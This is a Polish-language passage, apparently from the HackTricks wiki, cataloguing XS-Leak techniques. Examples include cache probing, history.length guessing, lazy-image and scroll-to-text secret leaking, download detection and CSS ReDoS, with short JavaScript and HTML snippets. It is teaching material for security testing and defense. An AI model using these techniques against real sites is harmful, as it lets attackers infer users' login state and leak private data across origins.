W przypadku gdy nagłówek Origin jest odbijany w nagłówku Access-Control-Allow-Origin, atakujący może nadużyć tego zachowania, próbując pobrać zasób w trybie CORS. Jeśli błąd nie jest wywołany, oznacza to, że zasób został poprawnie pobrany z sieci, jeśli błąd jest wywołany, oznacza to, że został pobrany z pamięci podręcznej (błąd pojawia się, ponieważ pamięć podręczna zapisuje odpowiedź z nagłówkiem CORS zezwalającym na oryginalną domenę, a nie na domenę atakującego).
Należy zauważyć, że jeśli pochodzenie nie jest odbijane, ale używany jest znak wieloznaczny (Access-Control-Allow-Origin: *), to nie zadziała.

Technika czytelnych atrybutów

Przekierowanie Fetch

Przesyłając żądanie za pomocą Fetch API z redirect: "manual" i innymi parametrami, możliwe jest odczytanie atrybutu response.type i jeśli jest równy opaqueredirect, to odpowiedź była przekierowaniem.

COOP

Atakujący jest w stanie wywnioskować obecność nagłówka Cross-Origin Opener Policy (COOP) w odpowiedzi HTTP z innej domeny. COOP jest wykorzystywane przez aplikacje internetowe do uniemożliwienia zewnętrznym witrynom uzyskania arbitralnych odwołań do okien. Widoczność tego nagłówka można zauważyć poprzez próbę dostępu do referencji contentWindow. W przypadkach, gdy COOP jest stosowane warunkowo, właściwość opener staje się wskaźnikiem: jest niezdefiniowana, gdy COOP jest aktywne, a zdefiniowana w jego braku.

Maksymalna długość URL - Po stronie serwera

Jeśli przekierowanie po stronie serwera wykorzystuje dane użytkownika wewnątrz przekierowania i dodatkowe dane, możliwe jest wykrycie tego zachowania, ponieważ zwykle serwery mają limit długości żądania. Jeśli dane użytkownika mają taką długość - 1, ponieważ przekierowanie używa tych danych i dodaje coś dodatkowego, spowoduje to błąd wykrywalny za pomocą zdarzeń błędów.

Jeśli uda ci się w jakiś sposób ustawić ciasteczka dla użytkownika, możesz również przeprowadzić ten atak, ustawiając wystarczającą liczbę ciasteczek (bombę ciasteczkową), dzięki czemu z zwiększoną wielkością odpowiedzi poprawnej odpowiedzi zostanie wywołany błąd. W tym przypadku pamiętaj, że jeśli wywołasz to żądanie z tej samej witryny, <script> automatycznie wyśle ciasteczka (więc możesz sprawdzić błędy).
Przykład bomby ciasteczkowej + XS-Search można znaleźć w zamierzonym rozwiązaniu tego opisu: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=None lub bycie w tym samym kontekście jest zazwyczaj wymagane dla tego rodzaju ataku.

Maksymalna długość URL - Po stronie klienta

Zgodnie z dokumentacją Chromium, maksymalna długość URL w Chrome wynosi 2 MB.

Ogólnie rzecz biorąc, platforma internetowa nie ma ograniczeń co do długości adresów URL (choć 2^31 to powszechne ograniczenie). Chrome ogranicza długość adresów URL do maksymalnie 2 MB z powodów praktycznych i aby uniknąć problemów z odmową usługi w komunikacji międzyprocesowej.

Dlatego jeśli odpowiedź URL przekierowania jest większa w jednym z przypadków, możliwe jest przekierowanie z adresem URL większym niż 2 MB, aby uderzyć w limit długości. Gdy to się zdarzy, Chrome wyświetla stronę about:blank#blocked.

Zauważalna różnica polega na tym, że jeśli przekierowanie zostało zakończone, window.origin wywołuje błąd, ponieważ domena zewnętrzna nie może uzyskać do tego informacji. Jednak jeśli limit został przekroczony i załadowana strona to about:blank#blocked, to origin okna pozostaje takie jak rodzica, co jest dostępną informacją.

Wszystkie dodatkowe informacje potrzebne do osiągnięcia 2 MB można dodać za pomocą hasztagu w początkowym adresie URL, aby został on użyty w przekierowaniu.

{% content-ref url="url-max-length-client-side.md" %} url-max-length-client-side.md {% endcontent-ref %}

Maksymalna liczba przekierowań

Jeśli maksymalna liczba przekierowań przeglądarki wynosi 20, atakujący może spróbować załadować swoją stronę z 19 przekierowaniami i ostatecznie przekierować ofiarę do testowanej strony. Jeśli zostanie wywołany błąd, oznacza to, że strona próbowała przekierować ofiarę.

Długość historii

API historii pozwala kodowi JavaScript manipulować historią przeglądarki, która zapisuje odwiedzone przez użytkownika strony. Atakujący może użyć właściwości length jako metody włączenia: do wykrywania nawigacji JavaScript i HTML.
Sprawdzając history.length, sprawiając, że użytkownik przechodzi do strony, zmienia ją z powrotem do tej samej domeny i sprawdzając nową wartość history.length.

Długość historii z tym samym adresem URL

  • Metody włączenia: Ramki, Okienka pop-up
  • Wykrywalna różnica: Jeśli adres URL jest taki sam jak zgadywany
  • Podsumowanie: Możliwe jest zgadnięcie, czy lokalizacja ramki/okienka znajduje się w określonym adresie URL, nadużywając długości historii.
  • Przykład kodu: Poniżej

Atakujący mógłby użyć kodu JavaScript do manipulowania lokalizacją ramki/okienka na zgadniętą i natychmiast zmienić ją na about:blank. Jeśli długość historii wzrosła, oznacza to, że adres URL był poprawny i miał czas na zwiększenie, ponieważ adres URL nie jest ponownie ładowany, jeśli jest taki sam. Jeśli nie wzrosła, oznacza to, że próbował załadować zgadnięty adres URL, ale ponieważ natychmiast po załadowaniu about:blank, długość historii nigdy nie wzrosła podczas ładowania zgadniętego adresu URL.

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Liczenie ramek

Liczenie liczby ramek w witrynie otwartej za pomocą iframe lub window.open może pomóc zidentyfikować stan użytkownika na tej stronie.
Co więcej, jeśli strona zawsze ma tę samą liczbę ramek, ciągłe sprawdzanie liczby ramek może pomóc zidentyfikować wzorzec, który może ujawnić informacje.

Przykładem tej techniki jest to, że w przeglądarce Chrome PDF może być wykrywany za pomocą liczenia ramek, ponieważ wewnętrznie używane jest embed. Istnieją Parametry URL otwarte, które pozwalają na pewną kontrolę nad zawartością, taką jak zoom, view, page, toolbar, gdzie ta technika może być interesująca.

Elementy HTMLElements

Wyciek informacji za pomocą elementów HTML jest problemem w bezpieczeństwie sieciowym, zwłaszcza gdy dynamiczne pliki multimedialne są generowane na podstawie informacji użytkownika, lub gdy dodawane są znaki wodne, zmieniając rozmiar multimediów. Może to być wykorzystane przez atakujących do odróżnienia między możliwymi stanami poprzez analizę informacji ujawnianych przez określone elementy HTML.

Informacje Ujawniane przez Elementy HTML

  • HTMLMediaElement: Ten element ujawnia czasy duration i buffered multimediów, do których można uzyskać dostęp za pomocą jego interfejsu API. Czytaj więcej o HTMLMediaElement
  • HTMLVideoElement: Ujawnia videoHeight i videoWidth. W niektórych przeglądarkach dostępne są dodatkowe właściwości, takie jak webkitVideoDecodedByteCount, webkitAudioDecodedByteCount i webkitDecodedFrameCount, oferujące bardziej szczegółowe informacje na temat zawartości multimedialnej. Czytaj więcej o HTMLVideoElement
  • getVideoPlaybackQuality(): Ta funkcja dostarcza szczegółów na temat jakości odtwarzania wideo, w tym totalVideoFrames, co może wskazywać na ilość przetworzonych danych wideo. Czytaj więcej o getVideoPlaybackQuality()
  • HTMLImageElement: Ten element ujawnia height i width obrazu. Jednak jeśli obraz jest nieprawidłowy, te właściwości zwrócą 0, a funkcja image.decode() zostanie odrzucona, wskazując na niepowodzenie poprawnego wczytania obrazu. Czytaj więcej o HTMLImageElement

Właściwość CSS

Aplikacje internetowe mogą zmieniać stylowanie strony internetowej w zależności od stanu użytkownika. Pliki CSS z innych źródeł mogą być osadzone na stronie atakującego za pomocą elementu link HTML, a reguły zostaną zastosowane do strony atakującego. Jeśli strona dynamicznie zmienia te reguły, atakujący może wykryć te różnice w zależności od stanu użytkownika.
Jako technika wycieku, atakujący może użyć metody window.getComputedStyle do odczytania właściwości CSS określonego elementu HTML. W rezultacie atakujący może odczytać dowolne właściwości CSS, jeśli znany jest dotknięty element i nazwa właściwości.

Historia CSS

{% hint style="info" %} Zgodnie z tym, to nie działa w headless Chrome. {% endhint %}

Selektor CSS :visited jest wykorzystywany do stylizowania adresów URL w inny sposób, jeśli zostały one wcześniej odwiedzone przez użytkownika. W przeszłości metoda getComputedStyle() mogła być wykorzystana do identyfikacji tych różnic stylu. Jednak nowoczesne przeglądarki wprowadziły środki bezpieczeństwa, aby uniemożliwić tej metodzie ujawnienie stanu linku. Środki te obejmują zawsze zwracanie stylu obliczonego tak, jakby link był odwiedzony, oraz ograniczanie stylów, które można zastosować za pomocą selektora :visited.

Mimo tych ograniczeń, możliwe jest pośrednie rozpoznanie stanu odwiedzonego linku. Jedną z technik jest zmylenie użytkownika do interakcji z obszarem dotkniętym przez CSS, w szczególności wykorzystując właściwość mix-blend-mode. Ta właściwość pozwala na mieszanie elementów z ich tłem, potencjalnie ujawniając stan odwiedzenia na podstawie interakcji użytkownika.

Ponadto, wykrycie można osiągnąć bez interakcji użytkownika, wykorzystując czasy renderowania linków. Ponieważ przeglądarki mogą renderować odwiedzone i nieodwiedzone linki w inny sposób, może to wprowadzić mierzalną różnicę czasu w renderowaniu. Dowód koncepcji (PoC) został wspomniany w raporcie błędu Chromium, demonstrując tę technikę za pomocą wielu linków do wzmocnienia różnicy czasowej, umożliwiając tym samym wykrycie stanu odwiedzenia poprzez analizę czasu.

Aby uzyskać więcej informacji na temat tych właściwości i metod, odwiedź ich strony dokumentacji:

Wyciek X-Frame z dokumentu zawartości

W Chrome, jeśli strona z nagłówkiem X-Frame-Options ustawionym na "deny" lub "same-origin" jest osadzona jako obiekt, pojawia się strona błędu. Chrome zwraca unikalny pusty obiekt dokumentu (zamiast null) dla właściwości contentDocument tego obiektu, w przeciwieństwie do iframe'ów lub innych przeglądarek. Atakujący mogliby wykorzystać to, wykrywając pusty dokument, potencjalnie ujawniając informacje o stanie użytkownika, zwłaszcza jeśli programiści niespójnie ustawiają nagłówek X-Frame-Options, często pomijając strony błędów. Świadomość i konsekwentne stosowanie nagłówków bezpieczeństwa są kluczowe dla zapobiegania takim wyciekom.

Wykrywanie pobierania

Nagłówek Content-Disposition, w szczególności Content-Disposition: attachment, instruuje przeglądarkę do pobrania zawartości zamiast wyświetlania jej wewnętrznie. To zachowanie może być wykorzystane do wykrywania, czy użytkownik ma dostęp do strony, która wywołuje pobieranie pliku. W przeglądarkach opartych na Chromium istnieje kilka technik do wykrywania tego zachowania pobierania:

  1. Monitorowanie paska pobierania:
  • Gdy plik jest pobierany w przeglądarkach opartych na Chromium, na dole okna przeglądarki pojawia się pasek pobierania.
  • Monitorując zmiany w wysokości okna, atakujący mogą wywnioskować pojawienie się paska pobierania, sugerując rozpoczęcie pobierania.
  1. Pobieranie nawigacji za pomocą iframe'ów:
  • Gdy strona wywołuje pobieranie pliku za pomocą nagłówka Content-Disposition: attachment, nie powoduje to zdarzenia nawigacji.
  • Ładując zawartość w iframe'ie i monitorując zdarzenia nawigacji, można sprawdzić, czy dyspozycja zawartości powoduje pobranie pliku (brak nawigacji) czy nie.
  1. Pobieranie nawigacji bez iframe'ów:
  • Podobnie jak w technice z iframe'em, ta metoda polega na użyciu window.open zamiast iframe'a.
  • Monitorowanie zdarzeń nawigacji w nowo otwartym oknie może ujawnić, czy pobrano plik (brak nawigacji), czy zawartość jest wyświetlana wewnętrznie (następuje nawigacja).

W przypadkach, gdy tylko zalogowani użytkownicy mogą wywołać takie pobrania, te techniki mogą być używane do pośredniego wnioskowania o stanie uwierzytelnienia użytkownika na podstawie odpowiedzi przeglądarki na żądanie pobrania.

Pomijanie partycjonowanego cache'a HTTP

{% hint style="warning" %} Dlatego ta technika jest interesująca: Chrome ma teraz partycjonowanie pamięci podręcznej, a klucz pamięci podręcznej nowo otwartej strony to: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx), ale jeśli otworzę stronę ngrok i użyję fetch na niej, klucz pamięci podręcznej będzie: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), klucz pamięci jest inny, więc pamięć podręczna nie może być współdzielona. Więcej szczegółów można znaleźć tutaj: Zyskiwanie bezpieczeństwa i prywatności poprzez partycjonowanie pamięci podręcznej
(Komentarz z tutaj) {% endhint %}

Jeśli strona example.com zawiera zasób z *.example.com/resource, to zasób ten będzie miał ten sam klucz pamięci podręcznej jakby zasób był bezpośrednio żądany poprzez nawigację na najwyższym poziomie. Dzieje się tak, ponieważ klucz pamięci podręcznej składa się z eTLD+1 na najwyższym poziomie i eTLD+1 ramki.

Ponieważ dostęp do pamięci podręcznej jest szybszy niż ładowanie zasobu, można spróbować zmienić lokalizację strony i anulować ją 20 ms (na przykład) po. Jeśli po zatrzymaniu zmieniła się pochodzenie, oznacza to, że zasób był w pamięci podręcznej.
Lub można wysłać zapytanie fetch do potencjalnie zbuforowanej strony i zmierzyć czas, jaki zajmuje.

Ręczne przekierowanie

Fetch z AbortController

Użyj fetch i setTimeout z AbortController, aby zarówno wykryć, czy zasób jest zbuforowany, jak i usunąć określony zasób z pamięci podręcznej przeglądarki. Ponadto proces ten zachodzi bez buforowania nowej zawartości.

Zanieczyszczenie skryptów

Pracownicy usług

W danej sytuacji atakujący podejmuje inicjatywę zarejestrowania pracownika usługi na jednej z ich domen, konkretnie "attacker.com". Następnie atakujący otwiera nowe okno na stronie docelowej z głównego dokumentu i nakazuje pracownikowi usługi rozpoczęcie timera. Gdy nowe okno zaczyna się ładować, atakujący przekierowuje odniesienie uzyskane w poprzednim kroku do strony zarządzanej przez pracownika usługi.

Po przybyciu żądania zainicjowanego w poprzednim kroku, pracownik usługi odpowiada kodem stanu 204 (No Content), efektywnie kończąc proces nawigacji. W tym momencie pracownik usługi rejestruje pomiar z timera zainicjowanego wcześniej w kroku drugim. Ten pomiar jest wpływany przez czas trwania JavaScript powodującego opóźnienia w procesie nawigacji.

{% hint style="warning" %} W czasie wykonania można wyeliminować czynniki sieciowe w celu uzyskania bardziej precyzyjnych pomiarów. Na przykład, poprzez wczytanie zasobów używanych przez stronę przed jej załadowaniem. {% endhint %}

Pobieranie czasu

Czas międzyokienkowy


Użyj Trickest, aby łatwo tworzyć i automatyzować workflowy zasilane przez najbardziej zaawansowane narzędzia społeczności na świecie.
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Z HTML lub ponownym wstrzykiwaniem

Tutaj znajdziesz techniki do wycieku informacji z HTML z innej domeny wstrzykując zawartość HTML. Te techniki są interesujące w przypadkach, gdy z jakiegoś powodu możesz wstrzyknąć HTML, ale nie możesz wstrzyknąć kodu JS.

Wiszący znacznik

{% content-ref url="../dangling-markup-html-scriptless-injection/" %} dangling-markup-html-scriptless-injection {% endcontent-ref %}

Leniwe ładowanie obrazów

Jeśli musisz wyciekać zawartość i możesz dodać HTML przed sekretem, powinieneś sprawdzić powszechne techniki wiszącego znacznika.
Jednak jeśli z jakiegoś powodu MUSISZ to zrobić znak po znaku (może komunikacja odbywa się poprzez trafienie w pamięć podręczną), możesz skorzystać z tego triku.

Obrazy w HTML mają atrybut "loading", którego wartość może być "lazy". W takim przypadku obraz będzie ładowany podczas oglądania, a nie podczas ładowania strony:

<img src=/something loading=lazy >

Dlatego możesz dodać dużo niepotrzebnych znaków (Na przykład tysiące "W") aby wypełnić stronę internetową przed sekretem lub dodać coś w rodzaju <br><canvas height="1850px"></canvas><br>.
Jeśli na przykład nasze wstrzyknięcie pojawi się przed flagą, obraz zostanie załadowany, ale jeśli pojawi się po flaga, flaga + śmieci uniemożliwią jej załadowanie (musisz pobawić się ilością śmieci do umieszczenia). Tak właśnie stało się w tym rozwiązaniu.

Inną opcją byłoby skorzystanie z scroll-to-text-fragment, jeśli jest to dozwolone:

Scroll-to-text-fragment

Jednakże, możesz sprawić, że bot uzyska dostęp do strony za pomocą

#:~:text=SECR

Więc strona internetowa będzie wyglądać mniej więcej tak: https://victim.com/post.html#:~:text=SECR

Gdzie post.html zawiera atakujące niepotrzebne znaki i obraz ładowany leniwie, a następnie dodawany jest sekret bota.

To, co robi ten tekst, to sprawia, że bot uzyskuje dostęp do dowolnego tekstu na stronie zawierającego tekst SECR. Ponieważ ten tekst to sekret i znajduje się poniżej obrazu, obraz załaduje się tylko wtedy, gdy zgadnięty sekret jest poprawny. Masz więc swoje źródło, aby wyciekać sekret znak po znaku.

Przykład kodu do wykorzystania tego: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Opóźnione Ładowanie Obrazu na Podstawie Czasu

Jeśli nie jest możliwe załadowanie zewnętrznego obrazu, co mogłoby wskazywać atakującemu, że obraz został załadowany, inną opcją byłoby próbowanie odgadnąć znak kilka razy i mierzyć to. Jeśli obraz jest załadowany, wszystkie żądania zajmą więcej czasu niż w przypadku, gdy obraz nie jest załadowany. To właśnie zostało wykorzystane w rozwiązaniu tego opisu podsumowanym tutaj:

{% content-ref url="event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="../regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

Jeśli używane jest jQuery(location.hash), możliwe jest sprawdzenie za pomocą czasu, czy istnieje jakaś zawartość HTML, ponieważ jeśli selektor main[id='site-main'] nie pasuje, nie trzeba sprawdzać reszty selektorów:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

Wstrzykiwanie CSS

{% content-ref url="css-injection/" %} wstrzykiwanie-css {% endcontent-ref %}

Obrona

Zalecane są środki zaradcze w https://xsinator.com/paper.pdf oraz w każdej sekcji wiki https://xsleaks.dev/. Zapoznaj się tam z więcej informacji na temat sposobów ochrony przed tymi technikami.

Odnośniki

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:


Użyj Trickest, aby łatwo tworzyć i automatyzować workflowy zasilane przez najbardziej zaawansowane narzędzia społeczności.
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}